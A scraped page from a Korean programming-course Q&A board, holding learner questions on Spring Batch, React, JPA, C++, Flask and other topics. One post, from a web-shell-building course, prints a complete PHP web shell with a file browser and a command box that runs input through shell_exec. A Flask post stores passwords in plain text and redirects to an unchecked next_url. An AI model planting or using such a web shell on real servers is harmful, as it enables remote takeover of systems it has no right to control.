묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결스프링 배치
이런 내용을 다룬 부분이 강의에 있는지 궁금합니다.
안녕하세요. 실무에서 스프링 배치를 사용하고 있는데요. 차근차근 강의를 정주행하려고 구매 했었으나, 일정의 압박으로 필요한 부분만 발췌해서 듣고 있습니다. (그럼에도 많은 도움을 받았습니다. 감사합니다 :) 배치를 사용하며 궁금증이 생긴 부분이 있는데요. 예를 들어 Job A가 Step1, Step2로 구성되어 있고 각 Step의 Reader는 JdbcPagingItemReader를 사용한다고 했을 때, Step2의 특정 Chunk에서 Job이 실패한 뒤 재실행 하면 성공한 Step1 및 Step2의 Chunk들은 건너 뛰고 실패한 지점부터 재시작하게 되는데요. 이 과정이 어떻게 수행되는지 분석, 학습을 해보고 싶습니다. 혹시 해당 강의에 이 내용을 다룬 부분이 있을까요?
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
질문이 있습니다.
다름이아니라 질문이 있습니다. 제가 그 AWS말고 개인적으로 포트포워딩해서 핸드폰으로 접속하면서 테스트를 해보고있는데 (내부ip로컬서버환경도 동일) 외부접속이 아닌 로컬로 할때도 그렇고 그 프론트에서 백엔드 포트쪽으로 요청을 보낼때 응답이 오기까지의 딜레이가 랜덤인 것 같아요... 다시 프론트 응답로딩까지 오래 걸리는 것같은느낌? 그럴때마다 백엔트 포트 실행시킨 터미널쪽에서 엔터키를 누르면 바로 터미널 로그에 시퀄라이즈 쿼리문이 찍히면서 응답이 오는데 왜 그런건가요? 이유를 알고 싶네요 질문 1. 프론트에서 백엔드로 요청을보낼떄 응답하는 속도가 랜덤인 것 같다(어쩔땐 빠르고 어쩔땐 느린...) 질문2. 그럴때마다 백엔드 터미널에서 엔터키를 치는데 프론트에서 백으로 요청보내고 바로 엔터키를 치면 바로 요청->응답 페이지 로딩 되는데 이부분 관련해서 왜 엔터키를 치면 바로 요청 된 값이 응답이 되는가에 대해 궁금하네요 질문3 아 그리고 제가 외부ip 내부 ip로 로그인 관련 테스트 해본결과 같은 아이디로 로그인 되더라구요 이 부분 관련해서 코딩을 안해줘서 당연하지만 예상을 해보면 여기에서 다루는 전략은 세션에서 아이디 값을 가지고있는게 아니라 프론트에서 쿠키로 가지고 있잖아요? 그럼 쿠키에 같은 값이 왔을때 뭐 어떻게 처리해줘야할 것같은데 AWS 배포 강의 부분을 아직 다 보지 못했는데 거기 설명해주시면서 알려주시나요? 만약 그 내용이 없다면 구글에 키워드를 뭐라고 치면 나올까요?
-
미해결윤재성의 스프링 프레임워크 개발자를 위한 실습을 통한 입문 과정
질문드립니다.
<bean id="t1" class="kr.co.softcampus.beans.TestBean1" lazy-init="true" init-method="bean1_init" destroy-method="bean1_destroy" scope="prototype" /> 해당내용으로 beans.xml 설정 후 ctx.close( ); 를 호출하면, bean1_destroy메서드는 호출이 안되는것으로 확인되는데 왜그럴까요! 싱글톤일땐 정상호출 되지만, 프로토타입으로하니깐 각각 객체 생성되어, init메서드는 정상호출이되고 destroy메서드만 호출이안되서 질의드립니다.
-
미해결실전! 스프링 데이터 JPA
낙관적인 락
안녕하세요 영한님! 간단하게 비관적인 락과 낙관적인 락 예시에 대해 궁금한게 있습니다. 비관적인 락 같은 경우에는 동시에 많은 요청이 들어와서 모두 카운트해서 올려야하는 조회수 같은 곳에 사용한다고 구글링을 해보니 나오는데 낙관적인 락을 사용하는 예시는 찾을 수 없어서 혹시 실무에서 낙관적인 락을 사용하는 사례는 어떤게 있을 까요?
-
미해결10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
강의교안 오탈자
알고리즘 교안에서 오타를 발견했습니다. find(v.begin(), v.end(), 0);으로 나와야 합니다.
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
useCallback 배열 질문
안녕하세요 제로초님, useinput과 export default (initialValue = null) => { const [value, setValue] = useState(initialValue) const handler = useCallback((e) => { setValue(e.target.value); }, [여기]); return [value, handler]; } 이번 강의에서 사용하신 useCallback 함수 const onChangeText = useCallback((e) => { setText(e.target.value) }, [여기]); 내부에 있는 배열에 useinput에는 value, onChangeText에는 text를 넣지 않아도 되는건가요? 사용자가 입력할 때 마다 어차피 컴포넌트가 리렌더링 되니까 넣어도 안넣어도 똑같기 때문에 굳이 넣지 않는 것인가요?
-
미해결따라하면서 배우는 웹애플리케이션 만들기
맥북 서버 질문
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하안녕하세요 html 처음배웁니다. 혹시 맥북으로 서버 설치는 어떻게 해야할까요 ? mac으로 따라해야 할까요?기를 이용해주세요.
-
미해결홍정모의 따라하며 배우는 C++
지역변수의 중단점이 안보일경우
배열과 반복문 강의 듣는겸 따로 봐왔던 코드를 따라 해보는겸 코드를 짜고 잇는데요 제 의도 대로 되지 않아서 중단점을 통해서 배열이 어떻게 채워지는지 보고싶어 중단점을 정하고 디버깅을 하는데 지역 변수 인 부분인 배열이 중단점에서 안보이더라구요 ㅠ 구글링해서 optimization을 Disabled 해도 안되더라구요 배열을 중단점에서 어떻게 확인 할수 있을까요?? 버젼은 Visual Studio Community 2019 - Version 16.11.2 입니다!
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
이렇게 한것도 괜찮나요
안녕하세요 선생님 이렇게 했는데 괜찮나요 function solution(str){ let haha= str.replace(/[a-z]/gi, "").replace(/(^0+)/, ""); return haha ; } let str="g0000en2T0sfdjsifjwep0if32uufklnfwfe8eSoft"; console.log(solution(str));
-
미해결파이썬/장고 웹서비스 개발 완벽 가이드 with 리액트
generate_view_fn 함수 질문
안녕하세요 일급함수와 관련해서 generate_view_fn 함수를 설명해주셨는데, return 값에서 instance_name은 template에 넘겨주기 위한 변수이름으로 활용되는 건가요? 설명에서는 위에 view_fn함수에 있는 instance_name과 같다고 하셨는데 헷갈려서 질문 남깁니다!! 감사합니다
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
node 버전을 다운 그레이드 시켜야하나요?
현재 제가 가진 노드 버전(v16.14.1)이랑 bcrypt 라이브러리 버전(v3.0.6)이 안맞아서 관련 에러가 발생하고 있습니다 . (에러 메시지에서 요구하는 사항은 bcrypt 버전을 v3.0.8로 변경하라고 하는 것 같습니다.) 강의를 따라가려면 root 의 package.json 안에 engines의 값으로 node, npm 버전이 적혀있는데 저 버전으로 nvm을 이용해서 다운 그레이드 해야하는 건지 아니면 에러 메시지에 맞춰 라이브러리를 업그레이드 해야하는지 궁금합니다.
-
미해결스프링 핵심 원리 - 기본편
lombok cannot find symbol 오류
스프링 부트 : 2.6.5 자바 : 11 현재 상태 : 컴파일러 설정 : 어노테이션 활성화 lombok 설치상태 : build.gradle 상태 : 프로젝트 외부 라이브러리 상태 : 프로젝트 설정 상태 : 오류 내용 : 혼자서 해결해 보려고 구글링을 통한 여러가지 방법을 시도해 보았지만 결국 다 실패하고 질문 올립니다...
-
해결됨남박사의 파이썬으로 실전 웹사이트 만들기
오류 나는 부분이 있어서 다시 질문 드립니다! 도와주세요! (join 로그인시 백지, 몽고db 이메일주소 null 표시)
안녕하세요 웹개발 입문부분 강좌를 거의다 들었는데.. 오류가 나는 부분이 있어서.. 질문을 올립니다! 문제는..join 로그인 하면 몽고db에서 이메일 주소가 null로 표시가 되서.. 동작이 되지 않는점이 있습니다.. 비슷한 증상을 찾기 어려워서 질문 남깁니다! -화면- -join- -mongoDB- -list- -list 로그인 페이지- next_url << 이게 문제가 나왔었는데 다른 코드들 참고 했는데 해결은 됬습니다. -run.py- from flask import Flask from flask import request from flask import render_template from flask_pymongo import PyMongo from bson.objectid import ObjectId from flask import abort from flask import redirect from flask import url_for from flask import flash from flask import session from functools import wraps import math import time from datetime import datetime, timedelta app = Flask(__name__) app.config["MONGO_URI"] = "mongodb://localhost:27017/myweb" app.config["SECRET_KEY"] = "abcd" app.config["PERMANENT_SESSION_LIFETIME"] = timedelta(minutes=30) mongo = PyMongo(app) def login_required(f): @wraps(f) def decorated_function(*args, **kwargs): if session.get("id") is None or session.get("id") == "": return redirect(url_for("member_login", next_url=request.url)) return f(*args, **kwargs) return decorated_function @app.template_filter('formatdatetime') def format_datetime(value): if value is None: return "" now_timestamp = time.time() offset = datetime.fromtimestamp( now_timestamp) - datetime.utcfromtimestamp(now_timestamp) value = datetime.fromtimestamp((int(value) / 1000)) + offset return value.strftime('%Y-%m-%d %H:%M:%S') @app.route("/list") def lists(): # 페이지 값 (값이 없는 경우 기본값는 1) page = request.args.get("page", 1, type=int) # 한페이지당 몇개의 게시물을 출력할지 limit = request.args.get("limit", 5, type=int) search = request.args.get("search", -1, type=int) keyword = request.args.get("keyword", type=str) # 최종적으로 완성된 쿼리를 만들 변수 query = {} # 검색어 상태를 추가할 리스트 변수 search_list = [] if search == 0: search_list.append({"title": {"$regex": keyword}}) elif search == 1: search_list.append({"contents": {"$regex": keyword}}) elif search == 2: search_list.append({"title": {"$regex": keyword}}) search_list.append({"contents": {"$regex": keyword}}) elif search == 3: search_list.append({"name": {"$regex": keyword}}) # 검색 대상이 한개라도 존재할 경우 query 변수에 $or 리스트를 쿼리 합니다. if len(search_list) > 0: query = {"$or": search_list} print(query) board = mongo.db.board datas = board.find({}).skip((page - 1) * limit).limit(limit) # 게시물의 총 갯수 tot_count = board.count_documents({}) # 마지막 페이지의 수를 구한다. last_page_num = math.ceil(tot_count / limit) # 페이지 블럭을 5개씩 표기 block_size = 5 # 현재 블럭의 위치 block_num = int((page - 1) / block_size) # 블럭의 시작 위치 block_start = int((block_size * block_num) + 1) # 블럭의 끝 위치 block_last = math.ceil(block_start + (block_size - 1)) return render_template("list.html", datas=list(datas), limit=limit, page=page, block_start=block_start, block_last=block_last, last_page_num=last_page_num, search=search, keyword=keyword) @ app.route("/view/<idx>") @login_required def board_view(idx): # idx = request.args.get("idx") if idx is not None: page = request.args.get("page") search = request.args.get("search") keyword = request.args.get("keyword") board = mongo.db.board # data = board.find_one({"_id": ObjectId(idx)}) data = board.find_one_and_update({"_id": ObjectId(idx)}, { "$inc": {"view": 1}}, return_document=True) if data is not None: result = { "id": data.get("_id"), "name": data.get("name"), "title": data.get("title"), "contents": data.get("contents"), "pubdate": data.get("pubdate"), "view": data.get("view"), "writer_id": data.get("writer_id", "") } return render_template("view.html", result=result, page=page, search=search, keyword=keyword) return abort(404) @ app.route("/write", methods=["GET", "POST"]) def board_write(): if session.get("id") is None: return redirect(url_for("member_login")) if request.method == "POST": name = request.form.get("name") title = request.form.get("title") contents = request.form.get("contents") print(name, title, contents) current_utc_time = round(datetime.utcnow().timestamp() * 1000) board = mongo.db.board post = { "name": name, "title": title, "contents": contents, "pubdate": current_utc_time, "writer_id": session.get("id"), "view": 0, } x = board.insert_one(post) print(x.inserted_id) return redirect(url_for("board_view", idx=x.inserted_id)) else: return render_template("write.html") @app.route("/join", methods=["GET", "POST"]) def member_join(): if request.method == "POST": name = request.form.get("name", type=str) email = request.form.get("email", type=str) pass1 = request.form.get("pass", type=str) pass2 = request.form.get("pass2", type=str) if name == "" or email == "" or pass1 == "" or pass2 == "": flash("입력되지 않은 값이 있습니다.") return render_template("join.html") if pass1 != pass2: flash("비밀번호가 일치하지 않습니다.") return render_template("join.html") members = mongo.db.members cnt = members.count_documents({"email": email}) if cnt > 0: flash("중복된 이메일 주소입니다.") return render_template("join.html") current_utc_time = round(datetime.utcnow().timestamp() * 1000) post = { "name": name, "email": email, "pass": pass1, "joindate": current_utc_time, "logintime": "", "logincount": 0, } members.insert_one(post) return "" else: return render_template("join.html") @app.route("/login", methods=["GET", "POST"]) def member_login(): if request.method == "POST": email = request.form.get("email") password = request.form.get("pass") next_url = request.form.get("next_url") members = mongo.db.members data = members.find_one({"email": email}) if data is None: flash("회원 정보가 없습니다.") return redirect(url_for("member_login")) else: if data.get("pass") == password: session["email"] = email session["name"] = data.get("name") session["id"] = str(data.get("_id")) session.permanent = True if next_url is not None: return redirect(next_url) else: return redirect(url_for("lists")) return redirect(url_for("lists")) else: flash("비밀번호가 일치하지 않습니다.") return redirect(url_for("member_login")) return "" else: next_url = request.args.get("next_url", type=str) if next_url is not None: return render_template("login.html", next_url=next_url) else: return render_template("login.html") @app.route("/edit/<idx>", methods=["GET", "POST"]) def board_edit(idx): if request.method == "GET": board = mongo.db.board data = board.find_one({"_id": ObjectId(idx)}) if data in None: flash("해당 게시물이 존재하지 않습니다.") return redirect(url_for("lists")) else: if session.get("id") == data.get("writer_id"): return render_template("edit.html", data=data) else: flash("글 수정 권한이 없습니다.") return redirect(url_for("lists")) else: title = request.form.get("title") contains = request.form.get("contents") board = mongo.db.board data = board.find_one({"_id": ObjectId(idx)}) if session.get("id") == data.get("writer_id"): board.update_one({"_id": ObjectId(idx)}, { "$set": { "title": title, "contents": contains, } }) flash("수정 되었습니다.") return redirect(url_for("board_view", idx=idx)) else: flash("글 수정 권한이 없습니다.") return redirect(url_for("lists")) @app.route("/delete/<idx>") def board_delete(idx): return "" if __name__ == "__main__": app.run(host="0.0.0.0", debug=True, port=9000) ------------------------------------------------------------------------------------------------ -join- {% with messages = get_flashed_messages() %} {% if messages %} <script> alert('{{messages[-1]}}'); </script> {% endif %} {% endwith %} <table> <form name="form" action="/join" method="POST"> <thead> <caption>회원가입</caption> </thead> <tbody> <tr> <td>이름</td> <td><input type="text" name="name"></td> </tr> <tr> <td>이메일</td> <td><input type="text" nmae="email"></td> </tr> <tr> <td>비밀번호</td> <td><input type="password" name="pass"></td> </tr> <tr> <td>비밀번호 확인</td> <td><input type="password" name="pass2"></td> </tr> <tr> <td colspan="2"><input type="submit" value="가입하기"></td> </tr> </tbody> </form> </table> ---------------------------------------------------------------------------------------------------------- -login- {% with messages = get_flashed_messages() %} {% if messages %} <script> alert("{{messages[-1]}}"); </script> {% endif %} {% endwith %} <table> <form name="form" action="/login" method="POST"> {% if next_url %} <input type="hidden" name="next_url" value="{{next_url}}" /> {% endif %} <thead> <caption> 회원 로그인 </caption> </thead> <tbody> <tr> <td>이메일</td> <td><input type="text" name="email" /></td> </tr> <tr> <td>비밀번호</td> <td><input type="password" name="pass" /></td> </tr> <tr> <td colspan="2"><input type="submit" value="로그인" /></td> </tr> </tbody> </form> </table> -------------------------------------------------------------------------------------------------------- - list - {% with messages = get_flashed_messages() %} {% if messages %} <script> alert('{{messages[-1]}}'); </script> {% endif %} {% endwith %} <script> function search() { var v_search = document.getElementById("search").value; var v_keyword = document.getElementById("keyword").value; if (v_search == "" || v_keyword == "") { return false; } else { self.location.href = "{{url_for('lists')}}?search=" + v_search + "&keyword=" + v_keyword; } } </script> {% if datas|length > 0 %} <table> <thead> <tr> <td>번호</td> <td>제목</td> <td>이름</td> <td>날짜</td> <td>조회수</td> </tr> </thead> <tbody> <!--반복되는 구간--> <tr> {% for data in datas %} <td>{{loop.index + ((page - 1) * limit)}}</td> <td> <a href="{{url_for('board_view', idx=data._id, page=page, search=search, keyword=keyword)}}">{{data.title}}</a> </td> <td>{{data.name}}</td> <td>{{data.pubdate|formatdatetime}}</td> <td>{{data.view}}</td> </tr> {% endfor %} <!--반복되는 구간 끝--> </tbody> </table> {% if block_start - 1 > 0 %} <a href="{{url_for('lists', page=block_start - 1, search=search, keyword=keyword)}}">[이전]</a> {% endif %} {% for i in range(block_start, block_last + 1) %} {% if i > last_page_num %} {{ i }} {% else %} {% if i == page %} <b>{{ i }}</b> {% else %} <a href="{{url_for('lists', page=i, search=search, keyword=keyword)}}">{{ i }}</a> {% endif %} {% endif %} {% endfor %} {% if block_last < last_page_num %} <a href="{{url_for('lists', page=block_last + 1, search=search, keyword=keyword)}}">[다음]</a> {% endif %} <select name="search" id="search"> <option value="" {% if search=='' or search==-1 %} selected {% endif %}>검색대상</option> <option value="0" {% if search==0 %} selected {% endif %}>제목</option> <option value="1" {% if search==1 %} selected {% endif %}>내용</option> <option value="2" {% if search==2 %} selected {% endif %}>제목+내용</option> <option value="3" {% if search==3 %} selected {% endif %}>작성자</option> </select> <input type="text" name="keyword" id="keyword" {% if keyword !="" %} value="{{keyword}}" {% endif %} /> <input type="button" value="검색" onclick="search()" /> {% else %} <h3>데이터가 없습니다.</h3> {% endif %} <a href="{{url_for('board_write')}}">글작성</a> ------------------------------------------------------------------------------------------------------- - edit - <html> <body> <table> <form name="form" method="post" action="/edit/{{data._id}}"> <tr> <td>작성자</td> <td><input type="text" name="name" value="{{session['name']}}" readonly /></td> </tr> <tr> <td>제목</td> <td><input type="text" name="title" /></td> </tr> <tr> <td>내용</td> <td><textarea type="text" name="contents">{{data.contents}}</textarea></td> </tr> <tr> <td colspan="2"><input type="submit" /></td> </tr> </form> </table> </body> </html>
-
미해결쉽게 처음하는 파이썬 고급 크롤링 [Scrapy, Selenium, Headless Chrome]
json 으로 저장이 안되네요
File "/Users/hwan/Library/CloudStorage/OneDrive-개인/Coding/scrapy/mynaverapi/mynaverapi/spiders/navershopapi.py", line 23, in parse data = json.loads(response.body_as_unicode()) AttributeError: 'TextResponse' object has no attribute 'body_as_unicode' 이와 같은 문구가 나오면서 정상적으로 작동하지 않네요 ... pip install json 을 입력하면 아래와 같은 메세지가 나옵니다. 어떻게 하면 해결할 수 있을까요? ERROR: Could not find a version that satisfies the requirement json (from versions: none) ERROR: No matching distribution found for json
-
미해결모든 개발자를 위한 HTTP 웹 기본 지식
3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문
=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오) 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) 예[질문 내용]여기에 질문 내용을 남겨주세요. 3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문이 있습니다. 제가 일하고 있는 회사의 경우, 서버와의 데이터 교환을 AJAX 비동기 통신을 통해 하고, callback함수가 동작하는 형태를 많이 사용합니다. 데이터가 post를 통해 입력되면 callback함수를 통해 다시 데이터를 조회하거나 화면을 갱신하는데 이러한 경우에도 말씀하신 중복 요청 문제가 발생할수 있을까요? 이런 경우 어떻게하면 중복 요청 문제를 유발 시켜볼 수 있을까요? 질문이 좀 유치한거 같은데 죄송합니다 ㅎㅎ;
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
디버깅 관련해서 질문드리고 싶습니다
강사님 안녕하세요 디버깅 관련해서 질문드리고 싶습니다 restserver.js 디버깅 실행 도중에 Hello를 입력하고 등록 버튼을 누르면 저는 restFront.html 에서 form 태그가 나왔다가 restfront.js 로 건너뛰어서 서버에 axios.get( ) 으로 요청을 보내서 restserver.js 로 다시 건너뛰어서 req.method 로 GET 요청 받는 디버깅을 생각하고 있었습니다 그러나 이렇게 소스코드 파일 사이에 건너뛰기가 안되고 restServer.js 에서만 디버깅이 되는 것 같았습니다 혹시 웹페이지에서 버튼을 눌러서 서버에 요청할 때는 restfront.js 소스코드로 갔다가, 요청을 받고 응답할 때는 restserver.js로 건너뛰는 디버깅 방법이 있는지 궁금해서 질문드리고 싶습니다 읽어주셔서 감사합니다
-
미해결이펙티브 자바 완벽 공략 1부
아이템6의 핵심정리와 완벽공략의 비디오 중복
안녕하세요. 이펙티브 자바의 강의를 잘 보고 있습니다. 아이템6의 핵심정리 강의와 완벽공략의 강의 비디오가 같습니다. 의도 한 것인지 혹시 누락된 것인지 문의드립니다.
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
죄송합니다;; 또 에러가 나네요(해결해주세요.)
이번엔 그 7월 전꺼 리마스터 처럼 필요한 부분(파일 브라우저, 커맨드, 인증 기능)만 만들려고 해봤는데 갑자기 에러가 나네요. error.log도 봤는데 해결 못하겠어서요. 소스입니다;; <? session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSTION["accessFlag"]; if($accessFlag == "Y"); { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo "<script>location.href= '{$page}'</script>"; exit(); } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SPACEPIG's Webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <? if ($accessFlag != "Y") { ?> <h3>Login</h3> <hr> <form action="<?=$page?>?mode=login" method="POST"> <div cLass="input-group"> <span clLass="input-group-addon">Password</span> <input type="password" class="form-control" pLacehoLder="Password Input..." name="inputPw"> </div> <br> <p cLass="text-center"><button class="btn btn-default" type="submit">Auth</button></a> </form> <? } else { ?> <h3>Webshell ver.0.0.1.Beta <small>Created by Spacepig</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <?if($mode == "logout") echo "class=\"active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <?if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 20%" class="text-center">Type</th> <th style="width: 30%" class="text-center">Date</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align : middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></td> <td style="vertical-align : middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align : middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> <? } ?> </td> </tr> <? } ?> <? } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align : middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align : middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align : middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? } else if(empty($mode) || $mode == "command") { ?> <form action="<?=$page?>?mode=command" method="POST"> <div class="input-group"> <span cLass="input-group-addon">Command</span> <input type="text" cLass="-form-control" pLacehoLder="Command Input..." name="command" value="<?=$command?>"> <span cLass="input-group-btn"> </span> </div> <br> <div class="btn-group btn-center" role="group" aria-label="..."> <p class="text-center"><button cLass="btn btn-default" type="submit">Execution</button></a> </div> </form> <? if(!empty($_POST["command"])) { echo "<hr>"; $result = shell_exec($_POST["command"]); $result = str_replace("\n", "<br>", $result); $result = iconv("CP949", "UTF-8", $result); echo "𝙍𝙀𝙎𝙐𝙇𝙏", "<br>", $result; } ?> <? } ?> <? } ?> <hr> <p class="text-muted text-center">Copyright© 2022, Spacepig, All rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
Lost connection to device
Lost connection to device 오류가 나옵니다. 1번 버튼을 누르고 디버깅 상태에서 2번이 타며, 그리고 나서 연결 기기 끊김이라는 메세지가 나오면서 팅기는 현상이 나타납니다. 원인을 도저히 찾을수가 없네요. 현재 flutter 버전은 2.10.2 최신버전이며, image_picker 버전은 0.8.5 최신버전으로 적용상태 입니다. image_picker: ^0.8.5
-
미해결웹게임을 만들며 배우는 인터렉티브웹! JAVASCRIPT
몬스터나 npc의 위치가 일정 크기를 넘어가면 히어로가 사라집니다.
몬스터든 npc든 생성 위치를 조금만 크게 잡아도 히어로가 이동하다 말고 사라집니다.(생성 위치를 600정도로 작게 잡으면 문제가 없습니다.) 수업을 들으며 똑같이 코딩했는데도 불구하고 이러한 현상이 나타나서 올려주신 complete 코드의 마지막 완성 코드를 실행해 봤는데도 마찬가지입니다. 아래 GIF 파일은 제공해주신 코드를 실행한 모습입니다.. 며칠째 이런 문제가 해결되지 않아 어떻게 해야될지 몰라 질문드립니다.